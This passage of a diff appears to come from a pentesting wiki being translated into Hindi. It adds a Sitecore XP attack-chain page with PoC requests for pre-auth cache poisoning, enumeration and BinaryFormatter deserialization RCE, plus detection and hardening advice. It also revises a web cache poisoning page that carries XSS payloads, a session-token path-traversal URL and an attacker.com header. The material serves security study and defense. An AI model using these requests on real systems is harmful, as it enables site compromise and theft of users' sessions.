something could be **hidden** in there. +Redirection में content रखा जा सकता है। यह content user को दिखाई नहीं देता (क्योंकि browser redirection execute कर देता है) पर वहाँ कुछ छिपाया जा सकता है। ### Web Vulnerabilities Checking -Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: +अब जब web application का व्यापक enumeration कर लिया गया है, तो कई संभावित vulnerabilities की जाँच करने का समय है। आप checklist यहाँ पाएँगे: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Find more info about web vulns in: +Web vulns के बारे में और जानकारी: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -341,7 +343,7 @@ Find more info about web vulns in: ### Monitor Pages for changes -You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. +आप ऐसे tools का उपयोग कर सकते हैं जैसे [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) ताकि pages में होने वाले modifications को monitor किया जा सके, जो vulnerabilities ला सकते हैं। ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md new file mode 100644 index 000000000..857ad9674 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -0,0 +1,194 @@ +# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE + +{{#include ../../../banners/hacktricks-training.md}} + +यह पृष्ठ Sitecore XP 10.4.1 के खिलाफ एक व्यावहारिक attack chain का सारांश प्रस्तुत करता है जो pre‑auth XAML handler से HTML cache poisoning की ओर मुड़ता है और authenticated UI flow के माध्यम से BinaryFormatter deserialization के जरिए RCE तक पहुँचता है। ये तकनीकें समान Sitecore versions/components पर सामान्यीकृत होती हैं और परीक्षण, पता लगाने, और सुरक्षा सख्ती (harden) के लिए ठोस primitives प्रदान करती हैं। + +- प्रभावित उत्पाद (परीक्षण किया गया): Sitecore XP 10.4.1 rev. 011628 +- Fixed in: KB1003667, KB1003734 (जून/जुलाई 2025) + +See also: + +{{#ref}} +../../../pentesting-web/cache-deception/README.md +{{#endref}} + +{{#ref}} +../../../pentesting-web/deserialization/README.md +{{#endref}} + +## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write + +प्रवेश बिंदु pre‑auth XAML handler है जो web.config में रजिस्टर्ड है: +```xml + +``` +के माध्यम से उपलब्ध: +``` +GET /-/xaml/Sitecore.Shell.Xaml.WebControl +``` +कंट्रोल ट्री में AjaxScriptManager शामिल है जो event requests पर attacker‑controlled fields को पढ़ता है और रिफ्लेक्शन के माध्यम से लक्षित कंट्रोल्स पर मेथड्स को invoke करता है: +```csharp +// AjaxScriptManager.OnPreRender +string clientId = page.Request.Form["__SOURCE"]; // target control +string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2") +... +Dispatch(clientId, text); + +// eventually → DispatchMethod(control, parameters) +MethodInfo m = ReflectionUtil.GetMethodFiltered(this, e.Method, e.Parameters, true); +if (m != null) m.Invoke(this, e.Parameters); + +// Alternate branch for XML-based controls +if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} +``` +मुख्य अवलोकन: XAML पेज में एक XmlControl instance (xmlcontrol:GlobalHeader) शामिल है। Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl (एक Sitecore class) से व्युत्पन्न है, जो ReflectionUtil.Filter allow‑list (Sitecore.*) को पास करता है, और इस तरह Sitecore WebControl पर methods अनलॉक हो जाते हैं। + +Magic method for poisoning: +```csharp +// Sitecore.Web.UI.WebControl +protected virtual void AddToCache(string cacheKey, string html) { +HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); +if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); +} +``` +क्योंकि हम xmlcontrol:GlobalHeader को target कर सकते हैं और नाम से Sitecore.Web.UI.WebControl methods को call कर सकते हैं, हमें एक pre‑auth arbitrary HtmlCache write primitive मिल जाता है। + +### PoC request (CVE-2025-53693) +``` +POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 +Host: target +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +नोट्स: +- __SOURCE, Sitecore.Shell.Xaml.WebControl में xmlcontrol:GlobalHeader का clientID है (आमतौर पर स्थिर, जैसे ctl00_ctl00_ctl05_ctl03 क्योंकि यह static XAML से व्युत्पन्न होता है)। +- __PARAMETERS का प्रारूप Method("arg1","arg2") है। + +## क्या poison करना है: Cache key निर्माण + +Sitecore controls द्वारा उपयोग किए जाने वाले सामान्य HtmlCache कुंजी निर्माण: +```csharp +public virtual string GetCacheKey(){ +SiteContext site = Sitecore.Context.Site; +if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){ +string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey; +if (key.Length > 0){ +string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant(); +if (this.VaryByData) k += ResolveDataKeyPart(); +if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName(); +if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn; +if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName(); +if (this.VaryByParm) k += "_#parm:" + this.Parameters; +if (this.VaryByQueryString && site?.Request != null) +k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&"); +if (this.ClearOnIndexUpdate) k += "_#index"; +return k; +} +} +return string.Empty; +} +``` +एक ज्ञात sublayout के लिए लक्षित poisoning का उदाहरण: +``` +__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +## कैशेबल आइटम और “vary by” डायमेंशन्स की सूची बनाना + +यदि ItemService (गलत तरीके से) अनाम रूप से एक्सपोज़ है, तो आप सटीक keys निकालने के लिए कैशेबल components को सूचीबद्ध कर सकते हैं। + +त्वरित जांच: +``` +GET /sitecore/api/ssc/item +// 404 Sitecore error body → exposed (anonymous) +// 403 → blocked/auth required +``` +कैश करने योग्य आइटम और फ़्लैग सूचीबद्ध करें: +``` +GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 +``` +Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate जैसे फ़ील्ड खोजें। डिवाइस नामों को निम्नलिखित के माध्यम से सूचीबद्ध किया जा सकता है: +``` +GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 +``` +### Side‑channel enumeration under restricted identities (CVE-2025-53694) + +भले ही ItemService किसी सीमित खाते (e.g., ServicesAPI) की नकल करे और खाली Results array लौटाए, TotalCount फिर भी pre‑ACL Solr hits को दर्शा सकता है। आप wildcards के साथ item groups/ids को brute‑force कर सकते हैं और TotalCount के converge होते हुए internal content और devices का मानचित्र बनते देख सकते हैं: +``` +GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true +→ "TotalCount": 3 +GET /...term=%2B_templatename:Device;%2B_group:aa* +→ "TotalCount": 2 +GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* +→ narrow to a specific item +``` +## Post‑auth RCE: BinaryFormatter sink convertToRuntimeHtml में (CVE-2025-53691) + +Sink: +```csharp +// Sitecore.Convert +byte[] b = Convert.FromBase64String(data); +return new BinaryFormatter().Deserialize(new MemoryStream(b)); +``` +यह convertToRuntimeHtml pipeline step ConvertWebControls के माध्यम से पहुँच योग्य है, जो id {iframeId}_inner वाले element को ढूंढता है और उसे base64 decodes + deserializes करके resulting string को HTML में inject कर देता है: +```csharp +HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); +string text2 = inner?.GetAttributeValue("value", ""); +if (text2.Length > 0) +htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); +``` +ट्रिगर (प्रमाणीकृत, Content Editor अधिकार)। FixHtml डायलॉग convertToRuntimeHtml को कॉल करता है। UI क्लिक के बिना एंड‑टू‑एंड: +``` +// 1) Start Content Editor +GET /sitecore/shell/Applications/Content%20Editor.aspx + +// 2) Load malicious HTML into EditHtml session (XAML event) +POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= + + + + + +// 3) Server returns a session handle (hdl) for FixHtml +{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."} + +// 4) Visit FixHtml to trigger ConvertWebControls → deserialization +GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... +``` +Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute. + + +{{#ref}} +../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +{{#endref}} + +## पूरा चेन + +1) Pre‑auth attacker XAML AjaxScriptManager के माध्यम से reflectively WebControl.AddToCache को invoke करके arbitrary HTML के साथ HtmlCache को poison करता है। +2) Poisoned HTML JavaScript परोसेगा जो authenticated Content Editor user को FixHtml flow के माध्यम से प्रेरित करता है। +3) FixHtml पेज convertToRuntimeHtml → ConvertWebControls को ट्रिगर करता है, जो attacker‑controlled base64 को BinaryFormatter के जरिए deserialize करता है → Sitecore app pool identity के तहत RCE। + +## पहचान + +- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` के लिए requests जिनमें `__ISEVENT=1`, संदिग्ध `__SOURCE` और `__PARAMETERS=AddToCache(...)`। +- ItemService probing: `/sitecore/api/ssc` की wildcard queries में spikes, खाली `Results` के साथ बड़े `TotalCount`। +- Deserialization attempts: `EditHtml.aspx` के बाद `FixHtml.aspx?hdl=...` और HTML fields में असाधारण रूप से बड़े base64। + +## हार्डनिंग + +- Sitecore patches KB1003667 और KB1003734 लागू करें; pre‑auth XAML handlers को gate/disable करें या strict validation जोड़ें; `/-/xaml/` की निगरानी और rate‑limit लागू करें। +- BinaryFormatter को हटाएँ/बदलें; convertToRuntimeHtml तक access को restrict करें या HTML editing flows पर strong server‑side validation लागू करें। +- `/sitecore/api/ssc` को loopback या authenticated roles तक लॉकडाउन करें; impersonation patterns से बचें जो `TotalCount`‑based side channels को leak करते हैं। +- Content Editor users के लिए MFA/least privilege लागू करें; CSP की समीक्षा करें ताकि cache poisoning से JS steering का प्रभाव घटे। + +## References + +- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) +- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 86747879a..9d8a5e1c9 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -2,112 +2,112 @@ {{#include ../../banners/hacktricks-training.md}} -## The difference +## अंतर -> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?** +> **web cache poisoning और web cache deception में क्या फर्क है?** > -> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री कैश से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है। -> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है। +> - In **web cache poisoning**, हमलावर एप्लिकेशन को कुछ दुर्व्यवहारपूर्ण सामग्री cache में स्टोर करवाता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को सर्व की जाती है। +> - In **web cache deception**, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री cache में स्टोर करवाता है, और फिर हमलावर वह सामग्री cache से प्राप्त कर लेता है। ## Cache Poisoning -कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को परोसी जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं। +Cache poisoning का उद्देश्य client-side cache को इस तरह प्रभावित करना है कि क्लाइंट अनपेक्षित, आंशिक या हमलावर के नियंत्रण वाली resources लोड कर लें। प्रभाव का दायरा प्रभावित पेज की लोकप्रियता पर निर्भर करता है, क्योंकि दूषित response केवल उन उपयोगकर्ताओं को सर्व किया जाएगा जो cache प्रदूषण के दौरान उस पेज पर जाते हैं। -कैश पॉइज़निंग हमले का निष्पादन कई चरणों में होता है: +Cache poisoning हमला कई चरणों में किया जाता है: -1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है। -2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो। -3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषित होने के दौरान प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा। +1. **Identification of Unkeyed Inputs**: ऐसे parameters जो request के cached होने के लिए आवश्यक नहीं होते पर server द्वारा लौटाई जाने वाली response को बदल सकते हैं। इन inputs की पहचान करना जरूरी है क्योंकि इन्हें cache को manipulate करने के लिए exploit किया जा सकता है। +2. **Exploitation of the Unkeyed Inputs**: Unkeyed inputs की पहचान के बाद अगला कदम यह पता लगाना है कि इन parameters का दुरुपयोग करके server की response को किस तरह बदला जा सकता है ताकि हमलावर को लाभ हो। +3. **Ensuring the Poisoned Response is Cached**: अंतिम चरण यह सुनिश्चित करना है कि बदली हुई response cache में स्टोर हो जाए। इस तरह, जब भी कोई उपयोगकर्ता प्रभावित पेज तक पहुंचता है जबकि cache poisoned है, उसे दूषित response मिल जाएगी। -### Discovery: Check HTTP headers +### खोज: HTTP headers देखें -आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +आम तौर पर, जब कोई response cache में store की जाती है तो वहाँ एक header होता है जो इसकी जानकारी देता है; आप उन headers को देख सकते हैं जिन पर आपको ध्यान देना चाहिए इस पोस्ट में: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Discovery: Caching error codes +### खोज: Caching error codes -यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)। - -आप अधिक विकल्प पा सकते हैं: +यदि आपको लगता है कि response cache में स्टोर हो रही है, तो आप एक खराब header के साथ request भेजकर देख सकते हैं, जिसे सामान्यतः **status code 400** के साथ रिस्पॉन्ड किया जाना चाहिए। फिर सामान्य तरीके से उसी request को एक्सेस करके देखें और यदि response एक 400 status code है, तो आप जान सकते हैं कि यह vulnerable है (और आप यहां तक कि DoS भी कर सकते हैं)। +आप और विकल्प यहां पा सकते हैं: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -हालांकि, ध्यान दें कि **कभी-कभी इस प्रकार के स्थिति कोड कैश नहीं होते** इसलिए यह परीक्षण विश्वसनीय नहीं हो सकता। +हालाँकि, ध्यान दें कि **कभी-कभी इस प्रकार के status codes cache में नहीं रखे जाते**, इसलिए यह टेस्ट विश्वसनीय नहीं हो सकता। -### Discovery: Identify and evaluate unkeyed inputs +### खोज: Identify and evaluate unkeyed inputs -आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग कर सकते हैं **पैरामीटर और हेडर को ब्रूट-फोर्स करने** के लिए जो **पृष्ठ की प्रतिक्रिया को बदल सकते हैं**। उदाहरण के लिए, एक पृष्ठ `X-Forwarded-For` हेडर का उपयोग कर सकता है यह संकेत देने के लिए कि क्लाइंट को वहां से स्क्रिप्ट लोड करना है: +आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग करके उन parameters और headers को brute-force कर सकते हैं जो पेज की response को बदल रहे हैं। उदाहरण के लिए, एक पेज header `X-Forwarded-For` का उपयोग कर सकता है ताकि client को वहां से स्क्रिप्ट लोड करने के लिए संकेत दिया जाए: ```html ``` -### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें +### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया उत्पन्न करें -पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या अपने द्वारा नियंत्रित JS कोड लोड करें? एक DoS प्रदर्शन करें?...) +With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) -### प्रतिक्रिया को कैश करें +### प्रतिक्रिया को कैश कराएँ -एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और इसे **कैसे** दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है। +Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds. -प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब इसे कैश किया गया है।\ -हेडर **`Cache-Control`** भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800` +The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ +The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` -एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के हिस्से के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः कुंजीबद्ध न हों। इसलिए, यदि उपयोगकर्ता उस लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है। +Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. -कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है। +One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. -अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है। +When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. -## शोषण के उदाहरण +## Exploiting Examples -### सबसे आसान उदाहरण +### Easiest example -एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप में प्रतिबिंबित किया जा रहा है।\ -आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा: +A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ +You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_ध्यान दें कि यह `/en?region=uk` के लिए एक अनुरोध को विषाक्त करेगा, `/en` के लिए नहीं_ +_ध्यान दें कि यह `/en?region=uk` के लिए एक request को poison करेगा, `/en` के लिए नहीं_ + +### Cache poisoning to DoS -### DoS के लिए कैश विषाक्तता {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### CDNs के माध्यम से कैश विषाक्तता +### Cache poisoning through CDNs -**[इस लेख](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य को समझाया गया है: +इस **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य समझाया गया है: -- CDN `/share/` के तहत किसी भी चीज़ को कैश करेगा -- CDN `%2F..%2F` को डिकोड या सामान्यीकृत नहीं करेगा, इसलिए, इसका उपयोग **अन्य संवेदनशील स्थानों तक पहुँचने के लिए पथ यात्रा के रूप में किया जा सकता है जो कैश किए जाएंगे** जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- वेब सर्वर `%2F..%2F` को डिकोड और सामान्यीकृत करेगा, और `/api/auth/session` के साथ प्रतिक्रिया देगा, जिसमें **प्रमाणन टोकन** शामिल है। +- The CDN will cache anything under `/share/` +- CDN `%2F..%2F` को decode या normalize नहीं करेगा, इसलिए इसे **path traversal to access other sensitive locations that will be cached** के रूप में इस्तेमाल किया जा सकता है, जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- The web server WILL decode and normalize `%2F..%2F`, और `/api/auth/session` के साथ respond करेगा, जो **contains the auth token**। -### कुकी-हैंडलिंग कमजोरियों का शोषण करने के लिए वेब कैश विषाक्तता का उपयोग करना +### Using web cache poisoning to exploit cookie-handling vulnerabilities -कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का शोषण करने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं। +Cookies किसी पेज के response में भी reflected हो सकती हैं। यदि आप इसे किसी XSS को trigger करने के लिए abuse कर सकें, तो आप उन कई clients में XSS का exploit कर सकते हैं जो malicious cache response को load करते हैं। ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -ध्यान दें कि यदि कमजोर कुकी का उपयोग उपयोगकर्ताओं द्वारा बहुत अधिक किया जाता है, तो नियमित अनुरोध कैश को साफ कर देंगे। +ध्यान दें कि अगर vulnerable cookie को users बहुत ज़्यादा इस्तेमाल कर रहे हैं, तो regular requests cache को साफ़ करती रहेंगी। -### सीमाओं, सामान्यीकरण और बिंदुओं के साथ विसंगतियों का निर्माण +### Delimiters, normalization और dots के साथ विसंगतियाँ उत्पन्न करना -जांचें: +देखें: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### API कुंजी चुराने के लिए पथ यात्रा के साथ कैश विषाक्तता +### API key चुराने के लिए path traversal के साथ Cache poisoning -[**यह लेख समझाता है**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कि कैसे एक URL जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` के साथ OpenAI API कुंजी चुराना संभव था क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ कैश की जाएगी बिना Cloudflare द्वारा URL को सामान्यीकृत किए, जो तब किया गया जब अनुरोध वेब सर्वर पर पहुंचा। +[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कैसे एक OpenAI API key `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` जैसे URL के साथ चुराई जा सकी, क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ Cloudflare द्वारा URL को normalise किए बिना cache हो जाती थी, और URL को normalise तब किया जाता था जब request वेब सर्वर तक पहुँचती थी। यह भी बेहतर तरीके से समझाया गया है: @@ -116,9 +116,9 @@ cache-poisoning-via-url-discrepancies.md cache-poisoning-via-url-discrepancies.md {{#endref}} -### वेब कैश विषाक्तता कमजोरियों का लाभ उठाने के लिए कई हेडर का उपयोग करना +### web cache poisoning vulnerabilities का फायदा उठाने के लिए multiple headers का उपयोग करना -कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का लाभ उठाने की आवश्यकता होगी**। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं। +कभी-कभी cache का दुरुपयोग करने के लिए आपको **exploit several unkeyed inputs** करने की ज़रूरत पड़ती है। उदाहरण के लिए, अगर आप `X-Forwarded-Host` को अपने कंट्रोल वाले domain पर सेट करते हैं और `X-Forwarded-Scheme` को `http` पर सेट करते हैं, तो आपको एक **Open redirect** मिल सकता है। **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** और redirect के लिए `X-Forwarded-Scheme` header को domain नाम के रूप में इस्तेमाल कर रहा हो, तो आप redirect द्वारा पृष्ठ कहाँ point होगा उसे control कर सकते हैं। ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -127,7 +127,7 @@ X-Forwarded-Scheme: http ``` ### सीमित `Vary`header के साथ शोषण -यदि आप पाते हैं कि **`X-Host`** header का उपयोग **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** header **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा: +यदि आपने पाया कि **`X-Host`** header को **domain name to load a JS resource** के रूप में उपयोग किया जा रहा है, लेकिन response में **`Vary`** header **`User-Agent`** सूचित कर रहा है। तब, आपको किसी तरह पीड़ित का **`User-Agent`** exfiltrate करने और उस user agent का उपयोग करके cache को poison करने का तरीका खोजना होगा: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -136,7 +136,7 @@ X-Host: attacker.com ``` ### Fat Get -URL में 